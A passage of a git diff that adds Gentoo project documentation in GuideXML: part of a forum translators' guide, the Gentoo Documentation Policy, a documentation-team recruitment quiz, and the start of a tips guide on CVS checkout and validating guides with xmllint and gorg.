+  <li>Greek</li>
+  <li>Italian</li>
+  <li>Norwegian</li>
+  <li>Polish</li>
+  <li>Portuguese</li>
+  <li>Russian</li>
+  <li>Spanish</li>
+  <li>Swedish</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Translator Guidelines</title>
+<section>
+<title>File Structure</title>
+<body>
+
+<p> 
+The files to be translated reside within the
+<path>gentoo-projects/forums/translations</path> CVS directory, here you
+will find subdirectories for each supported language. In each language
+directory there is a <path>README</path> containing instructions as well as
+the files that need translating. New words or phrases that are introduced 
+when we make modifications will be added to <path>lang_extra.php</path>. When
+phpBB adds a new phrase we will add it to the bottom of
+<path>lang_main.php</path>.
+</p>
+
+<p>
+There are also two subdirectories to be found in each language directory:
+an <path>images</path> directory that contains translations of textual images
+and an <path>email</path> directory which contains email templates which are
+used when an email is sent to a user, e.g. for topic reply notifications or
+registration activation.
+</p>
+
+<p>
+The first few lines (everything up to the first blank line) are email
+headers. The header names start at the beginning of the line and end with a
+colon character ':'. The header names should <b>NOT</b> be translated as
+this can cause email subjects to be sent in the wrong language.
+</p>
+
+<p>
+So for the following email header:
+</p>
+
+<pre caption="English email header">
+Subject: Topic Reply Notification - {TOPIC_TITLE}
+</pre>
+
+<p>
+The following translation should be used:
+</p>
+
+<pre caption="Translated email header">
+Subject: &lt;translation&gt; - {TOPIC_TITLE}
+</pre>
+
+<p>
+The files will usually be php files where it's important to keep the
+syntactical structure in place. Only the textual strings should be
+translated. Any other code structures should be kept in place, including code
+within those strings. Comments (anything after a # or //) can optionally be
+translated. The line-wrapping used in these files should also be preserved.
+Also extra whitespace or comments shouldn't be added before &lt;?php or 
+after the last ?&gt; as this causes php to show an error.
+</p>
+
+<p>
+So in the following example only the string '%sThis%s is an example' should be
+translated, ensuring that the %s are kept in place.
+</p>
+
+<pre caption="Translation example">
+<var>$lang[</var><const>'Example'</const><var>]</var> = <const>'%sThis%s is an example'</const>; <comment>// this is a comment</comment>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>CVS</title>
+<body>
+
+<p> 
+If you are a Gentoo Developer/Staff/Translator then you can be added to the
+cvsforumtrans group on cvs.gentoo.org so that you have write access to
+the <path>translations</path> directory. This will give you full
+access to commit translations. Someone from Gentoo's <uri
+link="http://www.gentoo.org/proj/en/infrastructure/#doc_chap2">Infrastructure</uri>
+or <uri link="http://www.gentoo.org/proj/en/devrel/#doc_chap3">Developer
+Relations</uri> projects should be able to add you to the cvsforumtrans
+group. Instructions for getting started with CVS can be found in the <uri
+link="http://www.gentoo.org/doc/en/cvs-tutorial.xml">Gentoo Linux CVS
+Tutorial</uri>.
+</p>
+
+<p>
+Use the following instructions for working with the translations CVS.
+</p>
+
+<pre caption="CVS instructions">
+<i>cvs co gentoo-projects/forums/translations</i>
+<comment>(Edit the relevant files)</comment>
+<i>cd gentoo-projects/forums/translations/$LANGUAGE</i>
+<i>$EDITOR lang_extra.php</i>
+<comment>(Always make sure you update before committing)</comment>
+<i>cvs up</i>
+<i>cvs ci -m "Added translations for $LANGUAGE" lang_extra.php</i>
+</pre>
+
+<impo>
+Always make sure you use the right character encoding for the files, the
+encoding is shown in the README.
+</impo>
+
+</body>
+</section>
+
+<section>
+<title>Working Without CVS Access</title>
+<body>
+
+<p> 
+If you don't have CVS access you can still help out with the translations. 
+You will need to add your diffs to <uri link="https://bugs.gentoo.org">Gentoo's 
+Bugzilla</uri> then someone with CVS access will check them in. You can 
+download the files to be translated using
+<uri
+link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/forums/translations/?root=gentoo-projects">Gentoo's
+ViewCVS</uri>. Make sure you make a note of the revision number of the
+file downloaded. Once you've made your translations you need to
+create a diff.
+</p>
+
+<pre caption="Create a diff">
+<i>diff -uB original_file.php translated_file.php &gt; file_name.php.diff</i>
+</pre>
+
+<p>
+Once you've created the diff you need to create a bug report. Make sure
+you use the Gentoo Infrastructure product and the Forums component. The summary
+should be in the format &quot;[language] Translation for file_name.php&quot;.
+In the report you should specify which CVS revision number this is a diff
+against. Once you've created the bug report you should add your diff as an
+attachment.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Testing &amp; Deployment</title>
+<section>
+<title>Testing Translations</title>
+<body>
+
+<p>
+The translations are kept separate from the code that is deployed onto the
+forums. When you've added a translation you can request that someone with
+the right access adds the files to our <uri
+link="https://forumstest.gentoo.org">test server</uri>. You will be able to
+find someone to do this in the #gentoo-forums channel on irc.freenode.net. You
+will also be given the username and password needed to access the test server.
+The test server is used to test new features and bug fixes so sometimes things
+may not always work correctly.
+</p>
+
+<note>
+All translations must be tested before they can be deployed onto the forums.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Deployment</title>
+<body>
+
+<p>
+Once the translations have been tested they will be ready for deployment
+onto the forums. This will happen during the normal release cycle and they
+will go live the next time the forums are upgraded, which is usually when we
+have new features to be released.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Resources</title>
+<section>
+<title>gentoo-forum-translations@gentoo.org</title>
+<body>
+
+<p>
+This mailing list has been set up to help coordinate the translation
+efforts. If you have any questions about the translations or the processes
+used please use this list. To subscribe send an empty email to:
+</p>
+
+<p>
+<c>gentoo-forum-translations+subscribe@gentoo.org</c>
+</p>
+
+</body>
+</section>
+<section>
+<title>IRC - #gentoo-forums</title>
+<body>
+
+<p>
+If you need any help with testing and deployment of the translations you can
+get hold of a <uri
+link="http://www.gentoo.org/proj/en/forums/index.xml#doc_chap3">Forums
+Administrator</uri> in the #gentoo-forums channel on irc.freenode.net.
+</p>
+
+</body>
+</section>
+<section>
+<title>Forums Test Server</title>
+<body>
+
+<p>
+A <uri link="https://forumstest.gentoo.org/">test server</uri> is available for
+you to test your translations. This server is password protected, the 
+username/password will be supplied to you when you need it. This server's
+database is a snapshot of the live Forum and is not always up to date.
+If you do not have an account on this server please contact a <uri
+link="http://www.gentoo.org/proj/en/forums/index.xml#doc_chap3">Forums
+Administrator</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/doc-policy.xml b/xml/htdocs/proj/en/gdp/doc/doc-policy.xml
new file mode 100644
index 00000000..381d8d35
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/doc-policy.xml
@@ -0,0 +1,545 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/doc-policy.xml,v 1.23 2007/03/05 12:57:48 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="doc-policy.xml">
+
+<title>Gentoo Linux Documentation Policy</title>
+
+<author title="Author">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Author">John P. Davis</author>
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<abstract>
+This document contains the Gentoo Documentation Policy, which is the
+base document which all Gentoo Documentation developers and
+Contributors should know and exercise.
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2007-02-26</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The Gentoo Linux Documentation team aspires to create exceptionally
+professional documentation that is immediately clear and concise to the
+end user. In order to fulfill this goal, we have very specific rules and
+guidelines that <e>all</e> documentation must go through prior to
+dissemination on our website, or elsewhere.
+</p>
+
+</body>
+</section>
+<section>
+<title>Covered Topics</title>
+<body>
+
+<p>
+This policy will cover the following topics:
+</p>
+
+<ul>
+<li>Documentation Project Team Organization</li>
+<li>Documentation Guidelines</li>
+<li>Documentation Team Recruitment</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation Project Team Organization</title>
+<section>
+<title>Organization</title>
+<body>
+
+<p>
+The Gentoo Documentation Project Team is split into several smaller teams
+that work in tandem with each other. Each smaller team represents an active
+development team of a Gentoo Documentation Subproject.
+</p>
+
+<!--
+<p>
+The Gentoo Documentation Project is strategically led by a top-level Manager
+as required by the <uri link="/doc/en/management-structure.xml">Gentoo
+Management Structure</uri>. This document also describes the responsibilities
+of the Strategic Manager with respect to Gentoo Linux.
+</p>
+-->
+
+<p>
+For day-to-day managerial tasks, the Gentoo Documentation Project has an
+Operational Manager. This person keeps track of all short-term tasks
+related to documentation. The Operational Manager and Strategic Manager can be
+one and the same if the Strategic Manager wishes so.
+</p>
+
+<p>
+Currently these positions are taken by the following people:
+</p>
+
+<table>
+<tr>
+  <th>Position</th>
+  <th>Developer Name</th>
+  <th>Developer Nick</th>
+</tr>
+<tr>
+  <ti>Strategic Manager</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+<tr>
+  <ti>Operational Manager</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+</table>
+
+<!--
+<p>
+Every subproject has a Strategic Manager of its own, and may have an
+Operational Manager if deemed appropriate. His responsibilities to the Gentoo
+Documentation Project (GDP) are listed in the <e>Manager responsibilities</e>
+section of the <uri
+link="/doc/en/management-structure.xml#doc_chap1_sect5">Gentoo Management
+Structure</uri> document.
+</p>
+-->
+
+<p>
+Every subproject of the Gentoo Documentation Team is listed on the
+<uri link="/proj/en/gdp/">GDP Webpage</uri>, along with their respective
+Strategic Managers.
+</p>
+
+<p>
+The decision on adding a subproject is in the hands of the Strategic Manager.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation Project Team Members</title>
+<body>
+
+<p>
+Every member of the Gentoo Documentation Project must be subscribed to
+the <mail link="gentoo-doc+subscribe@gentoo.org">gentoo-doc@gentoo.org</mail>
+mailing list. This mailing list will be used to discuss all
+documentation-related issues. This mailing list is open to all interested
+parties, developer or not.
+</p>
+
+<p>
+Every member of the Gentoo Documentation Project must be part of the
+<mail>docs-team@gentoo.org</mail> alias. This alias is <e>only</e> used by <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> to inform the documentation
+team about bugs regarding the Gentoo Documentation. You can add yourself by
+editing <path>/var/mail/alias/misc/docs-team</path> on dev.gentoo.org.
+</p>
+
+<p>
+Members of the Gentoo Documentation Team should be available at
+<c>#gentoo-doc</c> on <uri link="http://www.freenode.net">irc.freenode.net</uri>
+whenever they are online.
+</p>
+
+<p>
+Depending on the assignment or responsibilities, a member may have limited CVS
+access to <c>cvs.gentoo.org</c>. Full CVS access is restricted to Gentoo
+Developers. An <uri link="http://anoncvs.gentoo.org">anonymous CVS server</uri>
+is available. It contains the same files as our CVS server but is a few minutes
+late.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation Translation Teams</title>
+<body>
+
+<p>
+Every language should be backed up by an official Translation Team. This
+team is led by a <e>Lead Translator</e> and perhaps a <e>Follow-On Lead
+Translator</e>, who both have CVS commit access. If for any reason the
+<e>Lead Translator</e> cannot perform his duties, the <e>Follow-On Lead
+Translator</e> is in charge. If the <e>Follow-On</e> is unavailable, the
+mentor(s) is/are in charge of the language.
+</p>
+
+<p>
+If a translated document for an unsupported language is contributed, the Gentoo
+Documentation Team will publish it as-is. Such documents will not be linked to
+the website until an official Translation Team of that language is formed, but
+they will be available on our site and in CVS.
+</p>
+
+<p>
+When a language is officially supported, but the team does not have any
+members willing to take on the responsibilities of the <e>Lead
+Translator</e>, all links to the documents will be removed from the site.
+However, the documents will stay available in case the language becomes
+officially supported again.
+</p>
+
+<p>
+For more information Gentoo document translations, please consult the
+<uri link="/proj/en/gdp/doc/translators-howto.xml">
+Translators Howto for Gentoo Documentation</uri> and the
+<uri link="/proj/en/gdp/international.xml">
+GDP Internationalisation Subproject</uri> page.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo Documentation Guidelines</title>
+<section>
+<title>Legal Issues</title>
+<body>
+
+<p>
+Every document published by the Gentoo Documentation Project must be
+licensed by the <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons
+Attribution-ShareAlike License</uri>.
+</p>
+
+<p>
+Every document must have the following tag inside its GuideXML
+source code between the <c>&lt;/abstract&gt;</c> and the <c>&lt;version&gt;</c>
+tags:
+</p>
+
+<pre caption="Licensing notice for the Gentoo Documentation">
+&lt;/abstract&gt;
+<i>
+&lt;!-- The content of this document is licensed under the CC-BY-SA license --&gt;
+&lt;!-- See http://creativecommons.org/licenses/by-sa/2.5 --&gt;
+&lt;license/&gt;
+</i>
+&lt;version&gt;...&lt;/version&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Bugs and Updates</title>
+<body>
+
+<p>
+Every bug reported on <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>
+should be handled as fast as possible. If a bug cannot be handled
+in a timely fashion, the reporter of that bug should be informed about
+this using a comment on the bug, and the bug should be registered in the
+<uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> file, if
+applicable. The Strategic or Operational Manager may decide that a bug has a
+higher priority and should be addressed ahead any other task the assignee
+is responsible for.
+</p>
+
+<p>
+Whenever a Gentoo Documentation Team member takes care of a bug, he or she
+should assign the bug to herself/himself, but make sure that
+<mail>docs-team@gentoo.org</mail> is on the Cc-list. A bug may not be taken
+away from another Gentoo Documentation Team member without their approval;
+unless consent has been received from the Operational Manager.
+</p>
+
+</body>
+</section>
+<section>
+<title>Document Development</title>
+<body>
+
+<p>
+Every Gentoo Documentation Team may handle documentation development as it sees
+fit. However, when the document is finished, it should be transformed into
+<uri link="/doc/en/xml-guide.xml">GuideXML</uri> and made available on the
+Gentoo CVS infrastructure. It must also be registered in the
+<uri link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> file if
+applicable.
+</p>
+
+<p>
+When a new document is started or a big change is needed, a bug should be filed
+at <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>
+concerning the development of this document. If there is already a bug
+in the database that requests a change to the documentation, a new bug
+does not have to be filed. Grammatical, syntactical or small changes
+do not require a bug to be filed on <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> as well.
+</p>
+
+<p>
+All changes in contents of the document, except for typo fixes in text itself
+or in the comments to code listings, should lead to version number and date
+increase. Note that the change of a Code Listings should definitely cause an
+increase of the version number and date.
+</p>
+
+<p>
+All changes in XML formatting should lead to version and date bumps only in
+case the layout of the HTML document changes.
+</p>
+
+<p>
+Whether or not to increment the major version number instead of minor version
+number or other is up to the editor.
+</p>
+
+<p>
+Every update of a translation should use the version and date information
+verbatim from the master English document so fully synchronised translations
+have the same version and date.
+</p>
+
+</body>
+</section>
+<section>
+<title>Reviewing and Committing</title>
+<body>
+
+<p>
+To maintain a high-paced documentation development cycle, technical or
+intrusive changes to documents can be propagated immediately to the document.
+This is allowed only <e>if</e> the editor is absolutely confident the changes
+are functional. If you are not absolutely confident (for instance because a
+user has told you how to fix it but you cannot verify yourself), have the
+changes reviewed by a Gentoo Developer that can verify the changes are apt.
+</p>
+
+<p>
+High-volume, technical or intrusive changes must be accompanied by a bug report
+on <uri>http://bugs.gentoo.org</uri>. This bug number <e>must</e> be mentioned
+in the CVS log to allow backtracing of changes.
+</p>
+
+<p>
+If a bugfix includes changes to content as well as internal coding changes,
+both changes must be committed separately. This allows translators to focus
+on the relevant changes regarding content and ignore the coding changes.
+</p>
+
+<p>
+If the document in question is a translation, the <e>Lead Translator</e> of the
+affected language is responsible for the document. Only the <e>Lead
+Translator</e> and his follow-on may commit the document to the CVS repository.
+However, if the <e>Lead Translator</e> is currently "in training", the
+trainee's mentor should commit the changes.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sanctions</title>
+<body>
+
+<p>
+Malicious conduct by developers has never been an issue. However, it should be
+noted that documentation developers that misuse their position by
+</p>
+
+<ul>
+  <li>deliberately providing wrong information to users or developers</li>
+  <li>deliberately writing flawed documentation</li>
+  <li>deliberately corrupting documents</li>
+  <li>
+    deliberately go against the decisions made policy-wise or through a
+    consensus-model on the Gentoo Documentation mailinglist
+  </li>
+  <li>
+    not performing at all for a long time without informing the GDP, and without
+    replying to the Operational Manager's request for a status update
+  </li>
+</ul>
+
+<p>
+will be reported to the <uri link="/proj/en/devrel/">Gentoo Developer
+Relations</uri> project.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation Team Recruitment</title>
+<section>
+<title>Contributors, Authors, Translators</title>
+<body>
+
+<p>
+Everyone interested in contributing documentation, editing existing
+documentation, writing new documentation or translating documentation is
+welcome to send their contributions. There are no rules or strings attached to
+this. Just make sure you are subscribed to <mail>gentoo-doc@gentoo.org</mail>,
+and you have fully read this policy and understand it.
+</p>
+
+</body>
+</section>
+<section>
+<title>Recruitment Process</title>
+<body>
+
+<p>
+The Documentation Project has a strict recruitment process outlined below.
+This process can not be deviated from in any circumstance. We have opted for
+this recruitment process to assure ourselves that the recruit is well informed
+about the Gentoo Documentation Policy and the Gentoo Coding Style. It has proven
+to be quite effective even though many contributors see it as a too large burden
+to cross.
+</p>
+
+<p>
+This recruitment process is meant only for requests to the Gentoo Documentation
+Repository through CVS. Being listed as the maintainer or point of contact for
+a certain document or range of documents is granted by a simple request to the
+Operational Manager or Project Lead.
+</p>
+
+</body>
+</section>
+<section>
+<title>Phase 1: Contributions</title>
+<body>
+
+<p>
+No recruitment process starts without investigating the contributions done
+already to the Gentoo Documentation Project. The number of contributions must be
+large to assure a good knowledge of GuideXML, Coding Style and policy. The
+contribution period must be large as well to inform the contributor about the
+time-consuming position and pressure the application involves.
+</p>
+
+<p>
+The number of contributions and period over which the contributions should be
+made depends on the position which the contributor solicits for. Although it is
+difficult to write down these measurements in numbers, the following table
+should give a general overview. Final decision however lays in the hands of the
+Operational Manager.
+</p>
+
+<table>
+<tr>
+  <th>Position</th>
+  <th>Minimal Activity</th>
+  <th>Minimal Period</th>
+</tr>
+<tr>
+  <ti>Full-time Developer</ti>
+  <ti>2 updates per week</ti>
+  <ti>1 month</ti>
+</tr>
+<tr>
+  <ti>Part-time Developer</ti>
+  <ti>4 updates per month</ti>
+  <ti>1 month</ti>
+</tr>
+</table>
+
+<p>
+An update constitutes a non-trivial update to any documentation, translation or
+otherwise, completely written by the contributor and committed after review by
+any existing documentation developer. The period is fixed - increasing the
+contributions does not decrease the period. Also, we don't average the
+contributions over time to make sure the contributor doesn't give a contribution
+burst, and then waits until the phase is over.
+</p>
+
+<p>
+Without this phase, we can not know if the contributor understands what it
+takes to be a documentation developer. The validation of this activity happens
+through bugzilla reports.
+</p>
+
+<p>
+Any request for CVS access that does not allow a development activity as written
+down in the aforementioned table will not be taken into account.
+</p>
+
+<p>
+If you feel that you have shown sufficient amount of contributions, contact
+the Operational Manager of the Gentoo Documentation Project. He
+will ask you for your coordinates and other information, and then arrange
+for the next phase to be started.
+</p>
+
+</body>
+</section>
+<section>
+<title>Phase 2: Start the Recruitment Process</title>
+<body>
+
+<p>
+During this period, which is roughly the same as the aforementioned table,
+submitted patches are not edited by a documentation developer anymore, but are
+either committed as-is or refused. The recruit is also assigned to a full-time
+documentation developer (the mentor) which will guide him through these last
+phases.
+</p>
+
+<p>
+The quality of the contributions are in this phase most important - every patch
+that does not follow the Documentation Policy, Coding Style or other guideline
+that affects the document is refused.
+</p>
+
+<p>
+During this period, you:
+</p>
+
+<ul>
+  <li>
+    are advised to learn about Gentoo's inner workings.
+    This is required as you will be asked later on to answer Gentoo's <uri
+    link="/proj/en/devrel/quiz/staff-quiz.txt">Staffing Quiz</uri>.
+  </li>
+  <li>
+    will be asked to fill in the <uri
+    link="/proj/en/gdp/doc/doc-quiz.xml">Gentoo Documentation Project
+    Quiz</uri>. You need to successfully pass this entire quiz (all questions)
+    before you can continue with the next Phase.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Phase 3: Gentoo Recruitment</title>
+<body>
+
+<p>
+When Phase 2 is finished, the Operational Manager will contact <uri
+link="/proj/en/devrel/">Developer Relations</uri> and give a final "Go!" for the
+Gentoo recruitment process after which you will be given a Gentoo e-mail
+address and be appointed to one or more subprojects.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/doc-quiz.xml b/xml/htdocs/proj/en/gdp/doc/doc-quiz.xml
new file mode 100644
index 00000000..0fd1c679
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/doc-quiz.xml
@@ -0,0 +1,140 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/doc-quiz.xml,v 1.5 2005/09/14 01:04:24 rane Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/gdp/doc/doc-quiz.xml">
+
+<title>Gentoo Linux Documentation Quiz</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+
+<abstract>
+This document contains the Documentation Project Quiz, a collection of questions
+pertaining to documentation development which need to be answered correctly
+before a developer can be given CVS access to the Gentoo Documentation
+Repository.
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>2005-05-17</date>
+
+<chapter>
+<title>Gentoo Documentation Project Quiz</title>
+<section>
+<title>GuideXML Format</title>
+<body>
+
+<p>
+What is the <c>&lt;version&gt;</c> element used for? 
+</p>
+
+<p>
+What license does a Gentoo Document use when the <c>&lt;license&gt;</c>
+element is set?
+</p>
+
+<p>
+Where is the content of the <c>&lt;abstract&gt;</c> element placed on the
+Gentoo website for a particular guide? And for the Gentoo Handbook?
+</p>
+
+<p>
+Give the recommended format that you would use for "February 17th, 2005" inside
+<c>&lt;date&gt;</c>. What is the benefit for this format?
+</p>
+
+<p>
+What are the differences between an English document and a translated document
+XML-wise (not taking into account <path>metadoc.xml</path>)?
+</p>
+
+<p>
+Suppose you have a document on the differences between distributions. The
+document has the following chapters and sections. How would you create a link 
+to the section <e>Availability</e>?
+</p>
+
+<pre caption="Document layout">
+Chapter: What is a Distribution?
+Chapter: What are the Differences?
+Section:    Optimization
+Section:    Availability
+Section:    Software Choices
+Section:    Internationalisation
+Section:    Software Maintenance
+Section:    Branding
+Section:    Installation
+Section:    System Configuration
+Chapter: What is Gentoo?
+Chapter: Gentoo's Advantages
+</pre>
+
+<p>
+What is wrong with the following code snippet of a Gentoo Handbook main file
+which covers "Gentoo Security" in German? Why do you make the changes you made?
+</p>
+
+<pre caption="Excerpt of a handbook main page">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;!DOCTYPE guide SYSTEM "/dtd/guide.dtd"&gt;
+
+&lt;book lang="de"&gt;
+&lt;title&gt;Gentoo Sicherheit&lt;/title&gt;
+</pre>
+
+<p>
+What is the result of using the <c>lang</c> attribute?
+</p>
+
+<p>
+What is a valid GuideXML file and how do you check for validity?
+</p>
+
+</body>
+</section>
+<section>
+<title>Coding Style</title>
+<body>
+
+<p>
+Please download the following <uri link="fix-me.xml.txt?passthru=1">GuideXML
+document</uri> that does not validate GuideXML correctly and also isn't written
+using the Coding Style.  Reformat the code so it adheres to the Gentoo
+Documentation Coding Style and GuideXML format.
+</p>
+
+</body>
+</section>
+<section>
+<title>Commit Policy</title>
+<body>
+
+<p>
+A new document is submitted through bugzilla. You have successfully reviewed
+the document but have not found any issues. What is the procedure for adding it
+to CVS (give commands and the actions you perform)?
+</p>
+
+<p>
+A patch for "KaBooZa Guide" has been submitted to bugzilla and you have decided
+to take care of it even though you know nothing about KaBooZa. How do you
+proceed?
+</p>
+
+<p>
+Someone notices a grammar issue on one of Gentoo's pages and reports it on IRC.
+What do you do if the page is one that you can correct (you have access and you
+understand the language)? What if you can't correct it?
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/en/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..5aec6caa
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,377 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/doc-tipsntricks.xml,v 1.27 2010/04/28 19:26:07 nightmorph Exp $ -->
+
+<guide>
+<title>Documentation Development Tips &amp; Tricks</title>
+
+<author title="Author">
+  <mail link="neysx"/>
+</author>
+<author title="Author">
+  <mail link="swift"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+Some tips &amp; tricks that make the life for a Gentoo Documentation Developer
+easier
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Checking out the web site files</title>
+<section>
+<title>Using anonymous CVS</title>
+<body>
+
+<p>
+Contributors should use our <uri link="http://anoncvs.gentoo.org/">anonymous
+CVS server</uri>. It contains the same files as the official CVS that Gentoo
+developers use. The anonymous CVS repository is updated every hour.
+</p>
+
+<p>
+Create a dedicated directory for the sole purpose of developing documentation,
+then check out the web site files.
+</p>
+
+<pre caption="Checking out the web site files">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+To update your copy of the repository, run <c>cvs update -dP</c> in the
+<path>gentoo/xml</path> directory.
+</p>
+
+</body>
+</section>
+<section>
+<title>Live repository for Gentoo developers</title>
+<body>
+
+<p>
+If you haven't checked out the <c>gentoo</c> module yet, do it:
+</p>
+
+<pre caption="Checking out the gentoo module">
+$ <i>export CVSROOT=</i><comment>&lt;your nick&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+To update our copy of the repository, run <c>cvs update -dP</c> in the
+<path>gentoo/xml</path> directory.
+</p>
+
+</body>
+</section>
+<section>
+<title>Online CVS Repository</title>
+<body>
+
+<p>
+You can request our <uri link="http://sources.gentoo.org/">Online CVS
+Repository</uri> to provide the differences between individual versions. The
+main English repository is <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">fully
+available</uri>. The online CVS repository is updated every hour.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Setting up your local environment</title>
+<section>
+<title>Installing gorg</title>
+<body>
+
+<p>
+Our GuideXML documentation is transformed into HTML by the
+<uri link="gorg.xml">www-servers/gorg</uri> package. You need to install it.
+</p>
+
+<note>
+You need at least <c>gorg-0.6.3</c>. You may need to keyword it for your
+architecture.
+</note>
+
+<p>
+Follow the <uri link="gorg.xml">directions</uri> to configure gorg. You need to
+define the web root directory where you checked out our CVS repository
+(<path>.../gentoo/xml/htdocs</path>). The other parameters are only useful if
+you want to serve a local copy of <uri
+link="http://www.gentoo.org">www.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Setting up your XML Environment</title>
+<body>
+
+<p>
+Your system needs to know where to find the DTDs that our documentation uses.
+Edit <path>/etc/xml/catalog</path> as root and add the following line:
+</p>
+
+<pre caption="/etc/xml/catalog addendum">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+You can also rewrite to the path where the DTDs have been checked out of CVS.
+</note>
+
+<p>
+If your <path>/etc/xml/catalog</path> is empty or does not contain any entry,
+you need to <e>insert</e> the <c>&lt;rewriteURI&gt;</c> element <e>inside</e>
+the <c>&lt;catalog&gt;</c> element:
+</p>
+
+<pre caption="Minimal /etc/xml/catalog">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+Besides, some files may specify the on-line DTD with an uri like
+<path>http://www.gentoo.org/dtd/guide.dtd</path>. You can also rewrite those
+references and avoid slow accesses to the net at validation time:
+</p>
+
+<pre caption="Extra /etc/xml/catalog addendum">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Testing a Gentoo Guide</title>
+<body>
+
+<p>
+To test a Gentoo Guide, first use <c>xmllint</c> (from <c>dev-libs/libxml2</c>)
+to check if it uses valid XML:
+</p>
+
+<pre caption="Using xmllint to validate GuideXML">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+If <c>xmllint</c> returns without showing anything, then the file structure is
+valid. Next you need to convert it to HTML:
+</p>
+
+<pre caption="Converting to HTML">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+If no errors are displayed, you should be able to point your browser to
+<path>alsa-guide.html</path> to view the resulting document. If not, fix your
+guide until it works.
+</p>
+
+<note>
+In handbook chapters, links to other chapters will not be generated because
+on-line versions access handbook chapters via the master file, and the
+<c>chap</c> and <c>part</c> parameters.
+</note>
+
+</body>
+</section>
+<section>
